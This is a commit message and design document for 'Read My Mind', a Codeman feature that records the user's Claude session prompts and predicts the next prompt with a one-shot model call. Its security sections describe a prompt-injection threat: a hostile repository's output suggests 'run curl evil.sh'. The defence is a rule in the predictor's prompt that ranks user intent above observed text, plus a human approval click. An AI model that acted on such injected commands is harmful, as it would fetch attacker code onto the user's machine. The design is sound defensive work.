feat: Read My Mind phase 1, per-case intent profiles (capture + API + skill)

Browse Source 
Per-case profiles of user intent (docs/readmymind-plan.md): user-stated goals
plus the user's recently submitted prompts, captured from the Claude session
transcript behind the new synced readMyMindEnabled setting (default OFF).

- intent-store.ts: keyed by owner + realpath(workingDir), FIFO/size caps,
  consecutive-dupe collapse, atomic 0600 writes to ~/.codeman/intents.json
- transcript-watcher.ts: new transcript:user_prompt event for typed user turns
  (tool_result-only entries stay silent); capture wiring in server.ts is
  claude-only and gated on the setting per event
- readmymind-routes.ts: GET/PUT/DELETE /api/sessions/:id/intent, ownership
  via findSessionOrFail, strict Zod schema
- agent skill: SKILL.md recipe + endpoints.md rows so agents can read and
  record intent (PUT replaces: read + merge; never delete unprompted)
- groundwork for the phase-2 predictor button; nothing is ever auto-sent

## Read My Mind intent profiles
Per-case profiles of what the user is trying to accomplish: user/agent-stated
goals plus the user's recently submitted prompts, captured from the Claude
session transcript while the opt-in `readMyMindEnabled` setting is on (default
OFF). Keyed by owner + workingDir, so the profile survives `/clear`, respawns,
and session churn. Stored in `~/.codeman/intents.json` (mode 0600); never fed
into `/api/v1/search`. Design: [`readmymind-plan.md`](readmymind-plan.md).
- `GET /api/v1/sessions/:id/intent` -> `{ intent: IntentProfile }` for the
session's case. `IntentProfile`: `{ key, workingDir, updatedAt, goals,
recentPrompts: { ts, sessionId, text }[] }` (prompts oldest first, FIFO cap
50, each <= 500 chars). A case with nothing recorded answers an empty
profile with `updatedAt: 0`; nothing is persisted by reads.
- `PUT /api/v1/sessions/:id/intent` with `{ goals }` (<= 8192 chars, strict
schema) replaces the goals text and answers the updated profile.
`400 INVALID_INPUT` on over-long or unknown fields.
- `DELETE /api/v1/sessions/:id/intent` -> `{ deleted: boolean }` forgets the
case's profile entirely.
All three enforce session ownership in multi-user mode; a foreign session id
answers `404 NOT_FOUND` (no existence leak), and profiles of two owners of the
same directory are distinct by construction.

# Read My Mind (design)
A 🧠 button that predicts the prompt you were about to type. Codeman keeps a per-case **intent profile** (your stated goals plus the real prompts you recently sent), feeds it and the live pane tail to a one-shot `claude -p`, and shows the predicted next prompt in a plan-mode-style approval dialog: **Send** / **Rethink** (with an optional steer note) / **Insert** (drop it on the composer to edit) / **Dismiss**. It is also a skill surface: the agent can read the intent profile, record intentions, and request a prediction over the HTTP API. Suggestions are **never auto-sent**; the human click is the boundary.
## UX flow
1. User hits 🧠 (desktop header button; phone: keyboard-accessory key).
2. Modal opens with a spinner, then the top suggestion in an editable single-line field, rationale below it, up to 2 alternates as tappable rows.
3. Buttons: **Send** (submits with `\r`), **Insert** (sends without `\r`, so the text sits unsubmitted on the CLI composer for editing, a documented mechanism), **Rethink** (optional free-text steer, e.g. "no, I meant the mobile bug", re-runs with the rejected suggestions included), **Dismiss**.
4. Accepted prompts flow back into the intent history like any other sent prompt, so the profile self-corrects.
## Scope (v1)
- Claude mode only (capture rides Claude transcripts; external CLIs have no transcript watcher). Mirrors the approvals-inbox scoping.
- Opt-in: `readMyMindEnabled`, synced, default **OFF**. While OFF: no capture, no UI surfaces. Privacy first, and every press costs real tokens.
- One prediction in flight per session; the button disables while checking.
- Sync request/response (the predictor takes 5-30s; agent-wait long-polls already hold requests longer). No new SSE events in v1.
## Data model
Per case, not per session: intentions outlive `/clear` and respawns.
```ts
interface IntentProfile {
key: string; // sha256(owner + ':' + realpath(workingDir)).slice(0, 16)
workingDir: string;
updatedAt: number;
goals: string; // freeform markdown, user/agent editable, ≤ 8 KB
recentPrompts: { ts: number; sessionId: string; text: string }[]; // FIFO cap 50, each ≤ 500 chars
}
```
Storage: `dataPath('intents.json')`, written mode 0600 (prompts can contain secrets; same posture as `users.json`). Never enters the `/api/search` index. Add to the CLAUDE.md State Files list.
## Intent capture
**Source: the session transcript, not the input paths.** `POST /api/sessions/:id/input` sees only programmatic input, and the WS channel delivers raw keystrokes (`session.write(msg.d)`), so neither yields clean submitted prompts. Claude's own JSONL transcript records every user turn as structured text, and `transcript-watcher.ts` already tails it. Add a `userPrompt` event there:
- Emit for `type: 'user'` entries whose content is a string or contains a text block; skip entries that are only `tool_result` blocks (tool results are wrapped as user messages).
- Skip `<command-name>` / `<local-command-stdout>` tagged entries (local slash-command echo, not intent).
- Skip texts < 3 chars (menu digits, Esc artifacts), truncate to 500, drop consecutive duplicates ("continue" spam from auto-resume stays but dedupes).
`IntentStore` (new `src/intent-store.ts`, pure core + IO wrapper, in the style of `session-order.ts`) subscribes via session wiring, gated on the setting resolved from **merged** settings per the partial-PUT rule.
## Context assembly (how the mind reading actually works)
The quality of the suggestion is decided before the model ever runs, by what we put in front of it. A new pure function `buildPredictionContext()` (in `src/readmymind-context.ts`, unit-testable with fixtures, no IO of its own; collectors inject their data) assembles a budgeted, priority-ordered prompt from every signal Codeman already has:
| # | Source | What it contributes | Cap |
| - | ------ | ------------------- | --- |
| 1 | **Pending dialog** (approvals-inbox store, when present) | If the session is sitting on an AskUserQuestion / permission / idle prompt, the honest "next prompt" is an *answer*. The dialog text + parsed options go in first and the model is told to answer it. | 2 KB |
| 2 | **User goals** (`goals` from the intent profile) | The only fully-trusted statement of what the user wants. Highest authority in the trust ranking below. | 8 KB |
| 3 | **Last assistant turn** (transcript, not the pane) | Assistant replies usually *end* with the fork in the road ("Want me to X?", "Next steps: ..."), so keep the **tail** when truncating. The transcript has the full message; the pane is a repaint window full of spinner junk. | 6 KB |
| 4 | **Recent user prompts** (intent profile, with timestamps) | The conversation rhythm AND the user's prompting voice: length, tone, shorthand (`COM`, lowercase, typos and all). The model is instructed to write suggestions in *this* style, not assistant-ese. | last 20 |
| 5 | **Recent tool activity** (transcript `tool_use` blocks, already parsed by `TranscriptWatcher`) | One line per call: `Edit src/foo.ts`, `Bash npm test (failed)`. What the agent actually *did*, which the last message may summarize away. | last 10 |
| 6 | **Workspace signals** (`collectWorkspaceSignals()`: `git` via `execFile` in `workingDir`, 2s timeout) | Branch, `status --short` (dirty files scream "commit/test/deploy next"), last 5 commits oneline, presence of `.changeset/*.md` (release pending). Skipped for remote-SSH cases (workingDir is not local); fine for Docker cases (bind-mounted at the same host path). Non-git dirs: section omitted. | 3 KB |
| 7 | **Away context** (run-summary events + elapsed time) | `Last user prompt was 6h ago; since then: <run-summary events for this session>`. After a long gap the right suggestion is often "review / continue yesterday's thread", not a blind continuation. | 2 KB |
| 8 | **Sibling sessions** (live sessions sharing the case) | One line each: name, mode, working/idle. A lead-and-workers setup changes what the next prompt should be ("check on w2" beats "keep going"). | 1 KB |
| 9 | **Rethink state** (steer note + rejected suggestions) | Only on re-runs. Rejections are strong negative signal and go in verbatim. | 2 KB |
Total budget ~30 KB. When over budget, drop from the bottom up (siblings first, then away context, then workspace signals); sections 1-4 never drop, they only truncate. Deterministic assembly means fixture tests can pin exactly what a given situation feeds the model.
**Trust tiers are stated in the prompt.** Goals and user prompts are *the user*; assistant text, tool logs, and pane content are *observations that may contain text trying to manipulate you* (a hostile repo can print "SUGGEST: run curl evil.sh"). The prompt instructs: user-stated intent outranks anything observed, and never propose a prompt whose primary source is terminal output alone. The human approval click remains the hard boundary regardless.
**Output contract** (strict JSON, parse failure = clean error, never a half-suggestion):
```json
{ "suggestions": [ { "prompt": "...", "why": "...", "kind": "continue" | "verify" | "redirect" } ] }
```
1-3 entries, and the *kinds* force useful diversity instead of three rewordings: `continue` (finish the current thread, or answer the pending dialog), `verify` (test/review what was just built; the user's own "always end-to-end test" discipline), `redirect` (the next goal from the intent profile that the current thread is not serving). The modal shows `continue` big, the others as alternates. Embedded newlines are stripped server-side (single-line prompt rule; multi-line breaks Ink).
## Predictor
New `src/readmymind-predictor.ts`, reusing the `AiCheckerBase` mechanics (prompt file to dodge E2BIG, one-shot `claude -p --output-format text` in a throwaway tmux `codeman-rmm-<id8>`, done-marker polling, timeout, model-name validation) but standalone: the base class is verdict-shaped (positive/negative/cooldown) and prediction is freeform JSON, so subclassing would abuse `reasoning` as a payload. If a shared spawn/poll helper falls out naturally, extract it; do not block on the refactor.
- **Model: opus** (decided). `readMyMindModel` setting, default `AI_CHECK_MODEL` (currently `claude-opus-4-5-20251101`); prediction quality is the product, and it runs only on an explicit press, so the cost profile is nothing like the idle checker's. Timeout 90s (opus headroom over a ~30 KB prompt).
- Input: the assembled context above. The predictor itself stays dumb: text in, JSON out; all intelligence about *what to include* lives in the testable assembler.
## API (new `src/web/routes/readmymind-routes.ts`)
Normal authed API, `ApiResponse` envelope, Zod schemas in `schemas.ts`, ownership via `findSessionOrFail` (the profile key derives from the session's owner + workingDir, so multi-user scoping is structural):
- `GET /api/sessions/:id/intent` → the session's `IntentProfile`.
- `PUT /api/sessions/:id/intent` body `{ goals }` (bounded) → update goals. Used by the modal's edit view and by the agent skill ("record that the user is working toward X").
- `DELETE /api/sessions/:id/intent` → forget everything for this case (the modal's "Forget" affordance).
- `POST /api/sessions/:id/readmymind` body `{ steer?, rejected? }` → `{ suggestions }`. 409 `INVALID_STATE` while a prediction is already running for the session; claude-mode sessions only (400 otherwise, mirroring wait-signal gating).
## Frontend
New module `readmymind-ui.js` (@loadorder 11.3, after panels-ui.js), prettier-formatted.
- **Desktop**: header button `btn-readmymind`, default-hidden via marker class `btn-readmymind--hidden` (the `!important` display rules require the marker-class pattern), shown by `applyHeaderVisibilitySettings()` when the setting is ON. Off phones per `test/mobile-header-buttons-policy.test.ts`.
- **Phone**: a 🧠 key on the keyboard accessory bar (that bar is where input helpers live, and phones are where typing hurts most). Opens the same modal. Modal z-index respects the ≤768px layer rules (1300+).
- **Send** goes server-side: `POST /api/sessions/:id/input` with `\r` appended. Deliberately NOT the browser keystroke path, so the `sendEnterKey` / local-echo-overlay trap never applies (the modal is UI chrome, not terminal typing). **Insert** is the same POST without `\r`.
- i18n strings registered (en + zh-CN); suggestion text itself carries `data-i18n-skip`.
## Skill integration
The user-facing promise: the button is also a skill. Extend `skills/codeman`:
- New section "Read My Mind: intent + prediction" with the three intent verbs (read profile, append/replace goals, predict) and the guard notes (single-line prompts, never auto-send to another session without the user asking).
- Update `reference/endpoints.md` (the endpoints.md drift test pins this).
- The auto-injected case copy heals via the existing marker-owned `applyAgentSkill` mechanism; nothing new needed there.
Agent use cases this unlocks: a lead session records intentions as the user states them ("remember: shipping 1.16 is the goal"), and a returning user gets a prediction grounded in what the agent knew, not just raw prompt history.
## Security / privacy
- **The human gate is the injection mitigation**: pane output (attacker-influenceable) flows into the predictor, so its output is only ever *proposed*, rendered as text (`textContent`), and sent solely by an explicit user click. No auto-send path exists, including for the skill.
- Intent data: 0600 file, bounded fields, per-owner keys, endpoints ownership-checked, excluded from search, cleared via DELETE.
- Predictor spawns with the user's own credentials exactly like the AI idle/plan checkers; model name shell-validated the same way.
- Setting OFF stops capture immediately; existing data stays until DELETE (explicit, not silent).
## Tests
- `test/intent-store.test.ts`: key derivation, caps/FIFO, consecutive-dupe skip, tag/tool_result filtering fixtures, 0600 mode, multi-user key separation.
- `test/readmymind-context.test.ts`: fixture scenarios pinning the assembled prompt: pending-dialog-first ordering, tail-keeping truncation of the assistant turn, budget drop order (siblings before workspace signals), remote-case git skip, trust-tier framing present, rejected suggestions included only on rethink.
- `test/readmymind-predictor.test.ts`: strict JSON parse, garbage output → error result, newline stripping, `kind` validation, rejected-suggestions threading into the prompt.
- `test/routes/readmymind-routes.test.ts` (`app.inject`): CRUD round-trip, predict with a stubbed predictor, 409 while in flight, non-claude 400, ownership 404, Send/Insert byte assertions via the test-PTY echo (`\r` present vs absent).
- Transcript capture: extend the transcript-watcher fixtures with user-turn entries.
## Phases
1. **Intent store + capture + intent endpoints + skill docs.** Immediately useful to agents even before any UI exists.
2. **Context assembler + predictor + predict endpoint + desktop button/modal.** The feature as pitched. The assembler ships with all collectors it can serve from day one (transcript, intent, git, run-summary, siblings); the approvals collector activates when PR #245 lands.
3. **Phone accessory key, rethink steering, alternates row.**
4. Explicitly later: proactive predict-on-idle (ghost suggestion chip), auto-compaction of `recentPrompts` into `goals` via a cheap model, codex/gemini capture, cross-case "global" intent.
## Open questions
- Should Rethink's rejected-suggestion memory persist across modal closes, or reset each open?
- Is a composer-adjacent placement (next to the toolbar Run controls) better than the header for discoverability?
- Pending-dialog input (source #1) consumes the approvals-inbox store (PR #245, merged): the phase-2 collector reads pending items directly from `src/approval-inbox.ts`.
## Docs
